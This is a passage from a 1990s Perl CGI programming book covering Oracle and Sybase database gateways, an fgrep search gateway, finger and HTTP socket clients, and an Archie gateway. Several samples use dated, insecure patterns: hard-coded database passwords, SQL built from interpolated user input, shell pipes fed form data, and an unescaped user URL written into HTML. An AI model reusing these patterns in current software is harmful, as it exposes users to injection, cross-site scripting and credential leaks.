<INPUT TYPE="submit" VALUE="Look Up This Stock">
<INPUT TYPE="reset"  VALUE="Clear the Information">
</FORM>
<HR>
</BODY>
</HTML>

The second step is to write a CGI program that sends the query to the database, retrieves the results, and utilizes gnuplot to graph the information. Here is the CGI program that interacts with the Oracle database using oraperl:

#!/usr/local/bin/oraperl
require "oraperl.ph";

oraperl is a derivative of Perl that contains functionality to access and interact with Oracle databases. As of Perl 5, the DBperl extensions (a.k.a. DBI) supersede most of the Perl 4.0 database derivatives (such as oraperl and sybperl). For information on where to get oraperl, syperl, and DBperl, see Appendix E, Applications, Modules, Utilities, and Documentation.

$| = 1;
$webmaster = "shishir\@bu\.edu";
$gnuplot = "/usr/local/bin/gnuplot";
$ppmtogif = "/usr/local/bin/pbmplus/ppmtogif";

Buffering is turned off, and the full path to the gnuplot and ppmtogif commands is defined. (See Chapter 6, Hypermedia Documents for other examples of how these commands are used.)

&parse_form_data (*DB);
($company_id = $DB{'Company_ID'}) =~ s/^\s*(.*)\b\s*$/$1/;

The form information is decoded. In this case, we are dealing with only one field (Company_ID). The information stored in this field is equated to the company_id variable, and the leading and trailing spaces are removed.

if ($company_id =~ /^\w+$/) {

If the field value is an alphanumeric character (A-Z, a-z, 0-9, _), the program continues. Otherwise, an error message is returned. We want to make sure that only the characters that we need are allowed! In this case, shell metacharacters are not allowed to pass through.

    $process_id = $$;
    $output_ppm = join ("", "/tmp/", $process_id, ".ppm");
    $data_file =  join ("", "/tmp/", $process_id, ".txt");

We need two temporary files in this program. To make sure that each running instance of the program uses unique temporary files, we borrow a trick from UNIX shell scripting and put our process identification number (PID) into the names. Each time the program runs, it has to have a unique PID, so we know we will not clobber our own temporary file. The output_ppm and data_file variables contain the full file specification for the temporary files that will be created by this program. The current process id number ensures unique filenames.

    $color_number = 1;

The color number of 1 indicates Red. This is the color of the plot line.

    $system_id = "Miscellaneous";
    $username = "shishir";
    $password = "fnjop673e2nB";

The Oracle system identification (SID), the username, and the password are set. You might wonder if it is safe to hard-code the database password into this program. The answer to that depends on how the database is set up. In cases like this, you should create a generic user, such as "guest," with minimal access rights (read-only), so that there is no danger to the database.

    $lda = &ora_login ($system_id, $username, $password);

The ora_login subroutine is used to log in to the database. The value returned is the login identifier, also referred to as the Oracle Login Data Area. This identifier will be used to execute an SQL command.

    $csr = &ora_open ($lda, " select * from Stocks where ID = '$company_id' ");

The ora_open subroutine executes a specified SQL command. It requires a login identifier, and returns a statement identifier or an Oracle Cursor. This statement identifier is needed to retrieve the actual data (resulting from the SQL command).

You are not limited to specifying the SQL command on one line; you can use the block notation:

$csr = &ora_open ($lda, <<End_of_Select);
select * from Stocks
where ID = '$company_id'
End_of_Select

Let's continue with the rest of the program.

    if ( open (DATA, ">" . $data_file) ) {
        ($company_id, $company, @stock_prices) = &ora_fetch ($csr);

The ora_fetch subroutine retrieves the information returned by the SQL select command. The first two fields (or columns) are stored in company_id and company, respectively. The rest of the columns, however, are stored in the stock_prices array. This consists of the 11 columns representing 11 years, as shown in the previous table.

        &ora_close ($csr);
        &ora_logoff ($lda);

The statement identifier is released with the ora_close subroutine, and the database is closed.

        if ($company_id) {

This block of code is executed only if a database record matched the user's selection. Otherwise, an error message is returned.

            $stocks_start = 1980;
            $stocks_end = 1990;
            $stocks_duration = $stocks_end - $stocks_start;
            for ($loop=0; $loop <= $stocks_duration; $loop++) {
                $price = $stock_prices[$loop];
                $year  = $stocks_start + $loop;
                print DATA $year, " ", $price, "\n";
            }
            close (DATA);

The loop iterates 11 times to create a data file with all of the year/stock price pairs. For example, here is how the data file would look like if the user selected "Fah":

1980 37.3
1981 40.4
1982 38.2
.
.
.

When we build our plot, the first column provides data for the x axis, while the second column provides data for the y axis.

            &graph_data ("Stock History for $company", $data_file,
                         "Year", "Price", $color_number, $output_ppm);

The graph_data subroutine is called to create a PBM file (which is later converted to GIF). The arguments to this subroutine are the title of the graph, the data file to use, the label for the X axis, the label for the Y axis, the line color, and the output file.

            &create_gif ($output_ppm);

The final GIF image is created by the create_gif subroutine, which expects one argument: the name of the PBM file created by gnuplot.

        } else {
            &return_error (500, "Oracle Gateway CGI Error",
                "The specified company could not be found.");
        }

An error message is displayed if the user selected a non-existent company name.

    } else {
        &return_error (500, "Oracle Gateway CGI Error",
                    "Could not create output file.");
    }

If the data file could not be created, an error is returned.

} else {
    &return_error (500, "Oracle Gateway CGI Error",
                "Invalid characters in company field.");
}
exit (0);

Finally, if the information in the form field contains any non-alphanumeric characters, an error message is sent.

The graph_data subroutine opens a pipe to the gnuplot numerical analysis program, and sends a group of format commands through it. The end result of this is a pbm graphics file, which is later converted to GIF.

sub graph_data
{
    local ($title, $file, $x_label, $y_label, $color, $output) = @_;
    open (GNUPLOT, "| $gnuplot");
    print GNUPLOT <<gnuplot_Commands_Done;

        set term pbm color small
        set output "$output"
        set title "$title"
        set xlabel "$x_label"
        set ylabel "$y_label"
        set noxzeroaxis
        set noyzeroaxis
        set border
        set nokey
        plot "$file" w lines $color
gnuplot_Commands_Done
    close (GNUPLOT);
}

The create_gif subroutine uses the ppmtogif utility to convert the pbm file to GIF, for display on the Web (see Figure 9.9).

sub create_gif
{
    local ($output) = @_;
    print "Content-type: image/gif", "\n\n";
    system ("$ppmtogif $output 2> /dev/null");
    unlink $output_ppm, $data_file;
}

Finally, the temporary files are "unlinked," or deleted.

Figure 9.9: Stocks graph

[Graphic: Figure 9-9]

Accessing a Sybase Database

In this example, the form input (from the user) is used to access a Sybase database to look up information on books. Our interface to Sybase is the sybperl library, which provides Perl subroutines for giving Sybase queries in the form it can recognize. The data returned by Sybase is converted to an HTML 3.0 table format. In other words, the output, when displayed on a browser that recognizes HTML 3.0, resembles a nice table with solid three-dimensional lines separating the different fields.

<HTML>
<HEAD><TITLE>Welcome to CGI Publishing Company</TITLE></HEAD>
<BODY>
<H1>Book Search</H1>
<HR>
<FORM ACTION="/cgi-bin/books.pl" METHOD="GET">
<EM>Please enter the name of the book that you would like to look up:</EM>
<P>
<INPUT TYPE="text" NAME="Book" SIZE=40>
<P>
<INPUT TYPE="submit" VALUE="Look Up This Book">
<INPUT TYPE="reset"  VALUE="Clear the Information">
</FORM>
<HR>
</BODY>
</HTML>

Above is the form that is used to retrieve the input from the user.

Let's look at the program:

#!/usr/local/bin/sybperl
require "sybperl.pl";
$user = "shishir";
$password = "mkhBhd9v2sK";
$server = $ENV{'DSQUERY'} || "Books";

The user, password, and server name are set. If the environment variable DSQUERY is defined, the server is set to the value of that variable. If not, the server is set to "Books". The following statement:

$server = $ENV{'DSQUERY'} || "Books";

is a simpler of way of doing the following:

if ($ENV{'DSQUERY'}) {
    $server = $ENV{'DSQUERY'};
} else {
    $server = "Books";
}

Next, the dblogin subroutine is used to log in to the Sybase server.

$dbproc = &dblogin ($user, $password, $server);

dblogin returns the identification for the newly created database process into the dbproc variable.

@fields = ('Author', 'Book', 'Publisher', 'Year', 'Pages');
$title = "CGI Publishing Company Book Database";

The fields array holds a list of all the fields in a record. The title variable contains the title of the HTML 3.0 table.

&parse_form_data (*DB);
($book_name = $DB{'Book'}) =~ s/^\s*(.*)\b\s*$/$1/;

Leading and trailing spaces are removed from the Book field.

if ($book_name =~ /^[\w\s]+$/) {

Since we are dealing with book names, the user is allowed to enter only the following characters: A-Z, a-z, 0-9, _, and whitespace. If any other characters are entered, an error message is returned.

To retrieve data from a Sybase database, you attach to the database, execute a query, and then loop through the returned data one row at a time. These standard steps are performed in this CGI application.

    &dbcmd ($dbproc, " select * from Catalog where Book = '$book_name' ");
    &dbsqlexec ($dbproc);
    $status = &dbresults ($dbproc);

The dbcmd subroutine associates the SQL command with the current database process (dbproc). The dbsqlexec subroutine executes the SQL command, while the dbresults make the data available to the program. The dbresults subroutine returns either "$SUCCEED" or "$FAIL" (these are variables that are special to sybperl).

    if ($status == $SUCCEED) {
        while ( (@books = &dbnextrow ($dbproc)) ) {
            $book_string = join ("\0", @books);
            push (@all_books, $book_string);
        }

If the user-specified records are found, the dbresults subroutine returns "$SUCCEED". The while loop iterates through all of the data by calling the dbnextrow subroutine each time through the loop, in case there is more than one book that matches the criteria. The books array consists of information in the following format (for a sample book);

$books[0] = "Andy Oram and Steve Talbott"
$books[1] = "Managing Projects with make"
$books[2] = "O'Reilly & Associates, Inc."
$books[3] = 1991
$books[4] = 152

We need to create this intermediate array because that is the structure of the data returned by dbnextrow. But what we really want is a single string, because then we could store all the information on a single book in one element of the @all_books array. So we use the join statement to form the following string:

$book_string = "Andy Oram and Steve Talbott\0Managing Projects with make\0O'Reilly & Associates, Inc.\01991\0152"

This string is then pushed into the all_books array. This process is repeated for all matches.

        &dbexit ($dbproc);
        &display_table ($title, *fields, *all_books, "\0");

The database is closed by calling the dbexit subroutine. Finally, the table is displayed by calling a generic subroutine, display_table. The subroutine expects the following arguments: the title of the table, the array consisting of the header (or field) names, the array consisting of the strings, and the delimiter by which these strings are concatenated.

    } else {
        &return_error (500, "Sybase Database CGI Error",
            "The book title(s) you specified does not exist.");
    }
} else {
    &return_error (500, "Sybase Database CGI Error",
                "Invalid characters in book name.");
}
exit(0);

Error messages are returned if either the specified book name does not exist, or the input contains invalid characters.

The display_table subroutine prints out the table.

sub display_table
{
    local ($title, *columns, *selected_entries, $delimiter) = @_;
    local ($name, $entry);
    print "Content-type: text/html", "\n\n";
        print "<HTML>", "\n";
    print "<HEAD><TITLE>", $title, "</TITLE></HEAD>", "\n";
        print "<BODY>", "\n";
    print "<TABLE BORDER=2>", "\n";
    print "<CAPTION>", $title, "</CAPTION>", "\n";
    print "<TR>", "\n";

A MIME type of text/html is output, along with some HTML 3.0 tags to create a table.

    foreach $name (@columns) {
        print "<TH>", $name, "\n";
    }

This loop iterates through and displays all of the field headers.

    foreach $entry (@selected_entries) {
        $entry =~ s/$delimiter/<TD>/go;
        print "<TR>", "<TD>", $entry, "\n";
    }
    print "</TABLE>", "\n";
        print "</BODY></HTML>", "\n";
}

The foreach loop iterates through the matching records, substitutes the delimiter with the <TD> tag, and prints out the HTML needed to create a new row. There is no delimiter before the first item in $entry, so the print statement supplies the first <TD> tag. Finally, the table is closed. Figure 9.10 shows what the table looks like.

Figure 9.10: Results of search gateway

[Graphic: Figure 9-10]

Previous | Home | Next
Mail Gateway | Book Index | Search/Index Gateway
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] 9.4 Search/Index Gateway

CGI Programming on the World Wide Web

Previous Chapter 9
Gateways, Databases, and Search/Index Utilities 		Next

9.4 Search/Index Gateway

One of the most useful CGI applications is a web server search/index gateway. This allows a user to search all of the files on the server for particular information. Here is a very simple gateway to do just that. We rely on the UNIX command fgrep [1] to search all our files, and then filter its output to something attractive and useful. First, let's look at the form's front end:

[1] The fgrep used in the example is GNU fgrep version 2.0, which supports the -A and -B options.

<HTML>
<HEAD><TITLE>Search Gateway</TITLE></HEAD>
<BODY>
<H1>Search Gateway</H1>
<HR>
<FORM ACTION="/cgi-bin/search.pl" METHOD="POST">
What would you like to search for:
<BR>
<INPUT TYPE="text" NAME="query" SIZE=40>
<P>
<INPUT TYPE="submit" VALUE="Start Searching!">
<INPUT TYPE="reset"  VALUE="Clear your form">
</FORM>
<HR>
</BODY>
</HTML>

Nothing fancy. The form contains just one field to hold the search query. Now, here is the program:

#!/usr/local/bin/perl
$webmaster = "Shishir Gundavaram (shishir\@bu\.edu)";
$fgrep = "/usr/local/bin/fgrep";
$document_root = $ENV{'DOCUMENT_ROOT'};

The fgrep UNIX command is used to perform the actual searching in the directory pointed to by the variable document_root. fgrep searches for fixed strings; in other words, wildcards and regular expressions are not evaluated.

&parse_form_data (*SEARCH);
$query = $SEARCH{'query'};

The form data (or one field) is decoded and stored in the SEARCH associative array.

if ($query eq "") {
    &return_error (500, "Search Error", "Please enter a search query.");
} elsif ($query !~ /^(\w+)$/) {
    &return_error (500, "Search Error", "Invalid characters in query.");
} else {

If the query entered by the user contains a non-alphanumeric character (A-Z, a-z, 0-9, _), or is empty, an error message is returned.

    print "Content-type: text/html", "\n\n";
        print "<HTML>", "\n";
    print "<HEAD><TITLE>Search Results</TITLE></HEAD>";
        print "<BODY>", "\n";
    print "<H1>Results of searching for: ", $query, "</H1>";
    print "<HR>";
    open (SEARCH, "$fgrep -A2 -B2 -i -n -s $query $document_root/* |");

The pipe is opened to the fgrep command for output. We use the following command-line options:

  • -A2 and -B2 display two lines before and after the match

  • -i indicates case insensitivity

  • -n displays the line numbers

  • -s instructs fgrep to suppress all error messages.

Here is what the output format looks like:

/abc/cde/filename.abc-57-Previous, previous line
/abc/cde/filename.abc-58-Previous line
/abc/cde/filename.abc-59:Matched line
/abc/cde/filename.abc-60-Following line
/abc/cde/filename.abc-61-Following, following line

As you can see, a total of five or more lines are output for each match. If the query string is found in multiple files, fgrep returns the "--" boundary string to separate the output from the different files.

    $count = 0;
    $matches = 0;
    %accessed_files = ();

Three important variables are initialized. The first one, count, is used to keep track of the number of lines returned per match. The matches variable stores the number of different files that contain the specified query. And finally, the accessed_files associative array keeps track of the filenames that contain a match.

We could have used another grep command that returned just filenames, and then our processing would be much easier. But I want to display the actual text found, so I chose more complicated output. Thus, I have to do a little fancy parsing and text substitution to change the lines of fgrep output into something that looks good on a web browser. What we want to display is:

  • The name of each file found, with a hypertext link so the user can go directly to a file

  • The text found with the search string highlighted

  • A summary of the files found

The following code performs these steps.

    while (<SEARCH>) {
        if ( ($file, $type, $line) = m|^(/\S+)([\-:])\d+\2(.*)| ) {

The while loop iterates through the data returned by fgrep. If a line resembles the format presented above, this block of code is executed. The regular expression is explained below.

[Graphic: Figure from the text]

             unless ($count) {
                if ( defined ($accessed_files{$file}) ) {
                    next;
                } else {
                    $accessed_files{$file} = 1;
                }
                $file =~ s/^$document_root\/(.*)/$1/;
                $matches++;
                print qq|<A HREF="/$file">$file</A><BR><BR>|;
            }

If count is equal to zero (which means we are either on line 1 or on the line right after the boundary), the associative array is checked to see if an element exists for the current filename. If it exists, there is a premature break from the conditional, and the while loop executes again. If not, the matches variable is incremented, and a hypertext anchor is linked to the relative pathname of the matched file.

Remember, if there is more than one match per file, fgrep returns the matched lines as separate entities (separated by the "--" string). Since we want only one link per filename, the associative array has to be used to "cache" the filename.

            $count++;
            $line =~ s/<(([^>]|\n)*)>/&lt;$1&gt;/g;

The count variable is incremented so that the next time through the loop, the previous block of code will not be executed, and therefore a hypertext link will not be created. Also, all HTML tags are "escaped" by the regular expression illustrated below, so that they appear as regular text when this dynamic document is displayed. If we did not escape these tags, the browser would interpret them as regular HTML statements, and display formatted output.

[Graphic: Figure from the text]

We could totally remove all tags by using:

$line =~ s/<(([^>]|\n)*)>//g;

Let's continue with the program:

            if ($line =~ /^[^A-Za-z0-9]*$/) {
                next;
            }

If a line consists of any characters besides the subset of alphanumeric characters (A-Z, a-z, 0-9), the line will not be displayed.

            if ($type eq ":") {
                $line =~ s/($query)/<B>$1<\/B>/ig;
            }
            print $line, "<BR>";

For the matched line, the query is emboldened using the <B> ... </B> HTML tags, and printed.

        } else {
            if ($count) {
                print "<HR>";
                $count = 0;
            }
        }
    }

This conditional is executed if the line contains the boundary string, in which case a horizontal rule is output and the counter is initialized.

    print "<P>", "<HR>";
    print "Total number of files containing matches: ", $matches, "<BR>";
    print "<HR>";
        print "</BODY></HTML>", "\n";
    close (SEARCH);
}
exit (0);

Finally, the total number of files that contained matches to the query are displayed, as shown in Figure 9.11.

Figure 9.11: Search results

[Graphic: Figure 9-11]

This is a very simple example of a search/index utility. It can be quite slow if you need to search hundreds (or thousands) of documents. However, there are numerous indexing engines (as well as corresponding CGI gateways) that are extremely fast and powerful. These include Swish and Glimpse. See Appendix E, information on where to retrieve those packages.

Previous | Home | Next
Relational Databases | Book Index | Gateways to Internet Information Servers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] Gateways to Internet Information Servers

CGI Programming on the World Wide Web

Previous Chapter 10 Next

10. Gateways to Internet Information Servers

Contents:
Overview
What Are Sockets?
Socket I/O in Perl
Socket Library
Checking Hypertext (HTTP) Links
Archie
Network News on the Web
Magic Cookies
Maintaining State with a Server
Forking/Spawning Child Processes

10.1 Overview

You have probably heard of information servers on the Internet such as Archie (which lets you search FTP sites) and NNTP (the Usenet news server). Like the Web itself, these services run as protocols on top of TCP/IP. To make these services available over the Web, you can develop CGI applications that act as clients to other Internet information servers using the TCP/IP network protocol.

Let's start by looking at how a server functions. Take an electronic mail application (though the theory can apply to any other server). Most mail programs save the user's messages in a particular file, typically in the /var/spool/mail directory. When you send mail to someone on a different host, the mail program must find the recipient's mail file on that machine and append the message to it. How exactly does the mail program achieve this task, since it cannot manipulate files on a remote host directly?

The answer to this question is interprocess communication (IPC). A process on the remote host acts as a messenger for the mail process on that machine. The local process communicates with this remote agent across a network to "deliver" mail. As a result, the remote process is called a server (it "services" an issued request), and the local process is referred to as a client. The Web works along the same philosophy: the browser is the client that issues a request to an HTTP server that interprets and executes the request.

The most important thing to remember here is that the client and the server must "speak the same language." In other words, a particular client is designed to work with a specific server. So, for example, an Archie client cannot communicate with a Web server. But if you know the stream of data expected by a server, and the stream produced as output, you can write a CGI program that communicates with it, as we showed in the previous chapter.

One very useful application we will show in this chapter is one where you create both the client and the server. This will be a cookie handler, which helps you keep track of data when it is entered into multiple forms.

The communication protocols depend on the type of UNIX system. The version of UNIX from AT&T, called System V, provides STREAMS to communicate with processes across a network. On the other hand, the BSD flavor of UNIX, from the University of California at Berkeley, implements objects called sockets for network communication. In this chapter, we will look only at BSD sockets (also adopted by the PC world), which are, by far, the most popular way to handle network communications.

Previous | Home | Next
Search/Index Gateway | Book Index | What Are Sockets?
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.2 What Are Sockets?

CGI Programming on the World Wide Web

Previous Chapter 10
Gateways to Internet Information Servers 		Next

10.2 What Are Sockets?

Most companies these days have a telephone switchboard that acts as a gateway for calls coming in and going out. A socket can be likened to a telephone switchboard. If you want to connect to a remote host, you need to first create a socket through which the communications occur. This is similar to dialing "9" to go through the switchboard to the outside world.

Similarly, if you want to create a server that accepts connections from remote (or local) hosts, you need to set up a socket that "listens" periodically for connections. The socket is identified on the Internet by the host's IP address and the "port" that it listens on. Once a connection is established, a new socket is created to handle this connection, so that the original socket can go back and listen for more connections. The switchboard works in the same manner: as it handles outside phone calls, it routes them to the appropriate extension and goes back to accept more calls.

Previous | Home | Next
Overview | Book Index | Socket I/O in Perl
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.3 Socket I/O in Perl

CGI Programming on the World Wide Web

Previous Chapter 10
Gateways to Internet Information Servers 		Next

10.3 Socket I/O in Perl

The functions used to set up sockets in Perl have the same names as the corresponding UNIX system functions, but the arguments to the socket functions are slightly different, because of the way Perl works. Let's look at an example that implements a client to the finger server.

Please note that this not a CGI script. However, it should be very easy to convert this to a CGI script if so desired. It is meant to be run from the command line and to be passed one argument, the name of the user you want information about:

% finger_client username[@host]

As you can see, the calling format is identical to that of the UNIX finger command. In fact, this program works in the same exact manner.

#!/usr/local/bin/perl
require "sys/socket.ph";

The Perl header file " socket.ph" contains definitions pertaining to different types of sockets, their addressing schemes, etc. We will look at some of these definitions in a moment.

If this file is not found, you (or the system administrator) need to run the h2ph Perl script that converts all the C/C++ header files into a format that Perl can understand. Now, let's continue.

chop ($hostname = `bin/hostname`);
$input = shift (@ARGV);

The current hostname is retrieved with the UNIX hostname command. And the input to the script is stored in the input variable. The shift statement simply returns the first element of an array.

($username, $remote_host) = split (/@/, $input, 2);

The specified username and remote host are split from the input variable.

unless ($remote_host) {
    $remote_host = $hostname;
}

If no host is specified, it defaults to the local host.

$service = "finger";

Once you create a socket, it is usually bound (or attached) to a port on the machine. In order to send a message--or request--to the server, you have to send it to the port the server is running on. Generally, most of the common servers (like FTP, Archie, Gopher, HTTP, and Finger) run on specific ports, and are usually the same on nearly all hosts across the Net. Otherwise, clients on different machines would not be able to access the servers, because they would not know what port the server is bound to. A list of all the ports and the servers attached to them are listed in the /etc/services file.

In this case, we are specifying the server's name, and not the port number. In case you are curious, the finger server runs on port 79. Later on, the getservbyname function converts the service "finger" to the correct port number.

$socket_template = "S n a4 x8";

This represents a 16-byte structure that is used with sockets for interprocess communications on the Internet. The first two bytes represent the numeric codes for the Internet address family in the byte order the local machine uses for short integers. The next two bytes represent the port number you want to connect to, in Internet standard byte order (i.e., big endian--the high byte of the integer is stored in the leftmost byte, while the low byte is stored in the rightmost byte). Bytes four through eight represent the IP address, and the last eight contain "\0" characters. We will see this in action soon.

$tcp = (getprotobyname("tcp"))[2];

Since the finger server is set up as a TCP protocol (don't worry about what this means!), we need to get a numeric code that identifies this protocol. The getprotobyname functions returns the name, alias, and number of the specified protocol. In our case, we are storing just the third element, as we do not need the others. As a side note, the constant AF_NS (from the sockets.ph header file) can be used instead of calling the getprotobyname function.

if ($service !~ /^\d+$/) {
    $service = (getservbyname ($service, "tcp"))[2];
}

If the service specified in the variable is not a numeric value, the getservbyname function uses the /etc/services file to retrieve the port number.

$current_address = (gethostbyname ($hostname))[4];
$remote_address  = (gethostbyname ($remote_host))[4];

The gethostbyname function converts a host name into a packed string that represents the network location. This packed string is like a common denominator; it needs to be passed to many functions. If you want to convert this string into the IP address, you have to unpack the string:

@ip_numbers = unpack ("C4", $current_address);
$ip_address = join (".", @ip_numbers);
unless ($remote_address) {
    die "Unknown host: ", $remote_host, "\n";
}

If the packed string representing the remote host is not defined, it signifies that the location does not exist.

$current_port = pack ($socket_template, &AF_INET, 0, $current_address);
$remote_port  = pack ($socket_template, &AF_INET, $service, $remote_address);

These two lines are very important! Using the socket template we discussed earlier, three values representing the Internet addressing scheme, the port number, and the host name, are packed to create the socket structure that will be used to actually create the socket. The &AF_INET is a subroutine defined in the socket header file that refers to the Internet addressing (i.e., 128.197.27.7) method. You can also define other addressing schemes for sockets, such as &AF_UNIX, which uses UNIX pathnames to identify sockets that are local to a particular host.

socket (FINGER, &AF_INET, &SOCK_STREAM, $tcp) || die "Cannot create socket.\n";

The socket function creates a TCP/IP (Internet Protocol) socket called FINGER, which can actually be used as a file handle (as we will soon see). That is one of the simple beauties of sockets: Once you get through the complicated connecting tasks, you can read and write them like files.

The &SOCK_STREAM (another subroutine defined in the header file) value indicates that data travels across the socket as a stream of characters. You can also choose the &SOCK_DGRAM paradigm in which data travels in blocks, or datagrams. However, SOCK_STREAM sockets are the easiest to use.

bind (FINGER, $current_port)   || die "Cannot bind to port.\n";
connect (FINGER, $remote_port) || die "Cannot connect to remote port.\n";

The bind statement attaches the FINGER socket to the current address and port. Finally, the connect function connects the socket to the server located at the address and port specified by remote_port. If any of these functions fail, the script terminates.

$current_handle = select (FINGER);
$| = 1;
select ($current_handle);

This group of statements is used to unbuffer the socket, so the data coming in and going out of the socket is displayed in the correct order.

print FINGER $username, "\n";

The specified username is sent to the socket. The finger server expects a username only. You can test to see how the finger server works by using telnet to connect to port 79 (where the server resides):

% telnet acs.bu.edu 79
Trying 128.197.152.10 ...
Connected to acs.bu.edu.
Escape character is '^]'.
shishir
.
.
. (information returned by the server for user "shishir")
.
.

To complete our program:

while (<FINGER>) {
    print;
}
close (FINGER);
exit (0);

The while loop simply reads the information output by the server, and displays it. Reading from the socket is just like reading from a file or pipe (except that network errors can occur). Finally, the socket is closed.

If you found the explanation of socket creation confusing, that is OK. You will not have to write code like this. An easier set of functions will be explained shortly.

Previous | Home | Next
What Are Sockets? | Book Index | Socket Library
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.4 Socket Library

CGI Programming on the World Wide Web

Previous Chapter 10
Gateways to Internet Information Servers 		Next

10.4 Socket Library

To make the whole task of creating clients and servers easier, a socket library was developed that encapsulates the various socket and network information functions. Here is the same finger client using the library:

#!/usr/local/bin/perl
require "sockets.pl";
$service = "finger";
chop ($hostname = `/bin/hostname`);
$input = shift (@ARGV);
($username, $remote_host) = split (/@/, $input, 2);
unless ($remote_host) {
        $remote_host = $hostname;
}

Most of the code here is the same as that used in the previous example, with one exception. The require command includes the sockets.pl library.

&open_connection (FINGER, $remote_host, $service)
    || die "Cannot open connection to: $remote_host", "\n";

The open_connection library subroutine performs the following tasks:

  • Check to see if the remote host is an IP number (128.197.152.10) or an IP name (acs.bu.edu), and perform the appropriate conversion to a packed address string.

  • Create a socket.

  • Bind the socket to the current host.

  • Connect the socket to the remote address and port.

  • Unbuffer the socket.

Now, here is the rest of the program.

print FINGER $username, "\n";
while (<FINGER>) {
    print;
}
&close_connection (FINGER);
exit (0);

The close_connection subroutine flushes the socket so that all the remaining information in the socket is released, and then closes it. As you can see, this library makes the whole process of communicating with network servers much easier. Now, let's look at a simple example that interacts with an HTTP server.

Previous | Home | Next
Socket I/O in Perl | Book Index | Checking Hypertext (HTTP) Links
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.5 Checking Hypertext (HTTP) Links

CGI Programming on the World Wide Web

Previous Chapter 10
Gateways to Internet Information Servers 		Next

10.5 Checking Hypertext (HTTP) Links

If you look back at the guestbook example in Chapter 7, Advanced Form Applications, you will notice that one of the fields asked for the user's HTTP server. At that time, we did not discuss any methods to check if the address given by the user is valid. However, with our new knowledge of sockets and network communication, we can, indeed, determine the validity of the address. After all, web servers have to use the same Internet protocols as everyone else; they possess no magic. If we open a TCP/IP socket connection to a web server, we can pass it commands it recognizes, just as we passed a command to the finger daemon (server). Before we go any further, here is a small snippet of code from the guestbook that outputs the user-specified URL:

        if ($FORM{'www'}) {
            print GUESTBOOK <<End_of_Web_Address;
<P>
$FORM{'name'} can also be reached at:
<A HREF="$FORM{'www'}">$FORM{'www'}</A>
End_of_Web_Address
        }

Here is a subroutine that utilizes the socket library to check for valid URL addresses. It takes one argument, the URL to check.

sub check_url
{
    local ($url) = @_;
    local ($current_host, $host, $service, $file, $first_line);
    if (($host, $service, $file) =
        ($url =~ m|http://([^/:]+):{0,1}(\d*)(\S*)$|)) {

This regular expression parses the specified URL and retrieves the hostname, the port number (if included), and the file.

[Graphic: Figure from the text]

Let's continue with the program:

        chop ($current_host = `\bin\hostname`);
        $host = $current_host  if ($host eq "localhost");
        $service = "http"      unless ($service);
        $file = "/"            unless ($file);

If the hostname is given as "localhost", the current hostname is used. In addition, the service name and the file are set to "http", and "/", respectively, if no information was specified for these fields.

        &open_connection (HTTP, $host, $service) || return (0);
        print HTTP "HEAD $file HTTP/1.0", "\n\n";

A socket is created, and a connection is attempted to the remote host. If it fails, an error status of zero is returned. If it succeeds, the HEAD command is issued to the HTTP server. If the specified document exists, the server returns something like this:

HTTP/1.0 200 OK
Date: Fri Nov  3 06:09:17 1995 GMT
Server: NCSA/1.4.2
MIME-version: 1.0
Content-type: text/html
Last-modified: Sat Feb  4 17:56:33 1995 GMT
Content-length: 486

All we are concerned about is the first line, which contains a status code. If the status code is 200, a success status of one is returned. If the document is protected, or does not exist, error codes of 401 and 404, respectively, are returned (see Chapter 3, Output from the Common Gateway Interface). Here is the code to check the status:

        chop ($first_line = <HTTP>);
        if ($first_line =~ /200/) {
            return (1);
        } else {
            return (0);
        }
        close (HTTP);
    } else {
        return (0);
    }
}

This is how you would use this subroutine in the guestbook:

        if ($FORM{'www'}) {
            &check_url ($FORM{'www'}) ||
                &return_error (500, "Guestbook File Error",
                "The specified URL does not exist. Please enter a valid URL.");
            print GUESTBOOK <<End_of_Web_Address;
<P>
$FORM{'name'} can also be reached at:
<A HREF="$FORM{'www'}">$FORM{'www'}</A>
End_of_Web_Address
        }

Now, let's look at an example that creates a gateway to the Archie server using pre-existing client software.

Previous | Home | Next
Socket Library | Book Index | Archie
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 10] 10.6 Archie

CGI Programming on the World Wide Web

Previous Chapter 10
Gateways to Internet Information Servers 		Next

10.6 Archie

Archie is a database/index of the numerous FTP sites (and their contents) throughout the world. You can use an Archie client to search the database for specific files. In this example, we will use Brendan Kehoe's Archie client software (version 1.3) to connect to an Archie server and search for user-specified information. Though we could have easily written a client using the socket library, it would be a waste of time, since an excellent one exists. This Archie gateway is based on ArchiPlex, developed by Martijn Koster.

#!/usr/local/bin/perl
$webmaster = "Shishir Gundavaram (shishir\@bu\.edu)";
$archie = "/usr/local/bin/archie";
$error = "CGI Archie Gateway Error";
$default_server = "archie.rutgers.edu";
$timeout_value = 180;

The archie variable contains the full path to the Archie client. Make sure you have an Archie client with this pathname on your local machine; if you do not have a client, you have to telnet to a machine with a client and run this program there.

The default server to search is stored. This is used in case the user failed to select a server.

Finally, timeout_value contains the number of seconds after which an gateway will return an error message and terminate. This is so that the user will not have to wait forever for the search results.

%servers = (
  'ANS Net (New York, USA)',         'archie.ans.net',
  'Australia',                       'archie.au',
  'Canada',                          'archie.mcgill.ca',
  'Finland/Mainland Europe',         'archie.funet.fi',
  'Germany',                         'archie.th-darmstadt.de',
  'Great Britain/Ireland',           'archie.doc.ac.ac.uk',
  'Internic Net (New York, USA)',    'ds.internic.net',
  'Israel',                          'archie.ac.il',
  'Japan',                           'archie.wide.ad.jp',
  'Korea',                           'archie.kr',
  'New Zealand',                     'archie.nz',
  'Rutgers University (NJ, USA)',    'archie.rutgers.edu',
  'Spain',                           'archie.rediris.es',
  'Sweden',                          'archie.luth.se',
  'SURANet (Maryland, USA)',         'archie.sura.net',
  'Switzerland',                     'archie.switch.ch',
  'Taiwan',                          'archie.ncu.edu.tw',
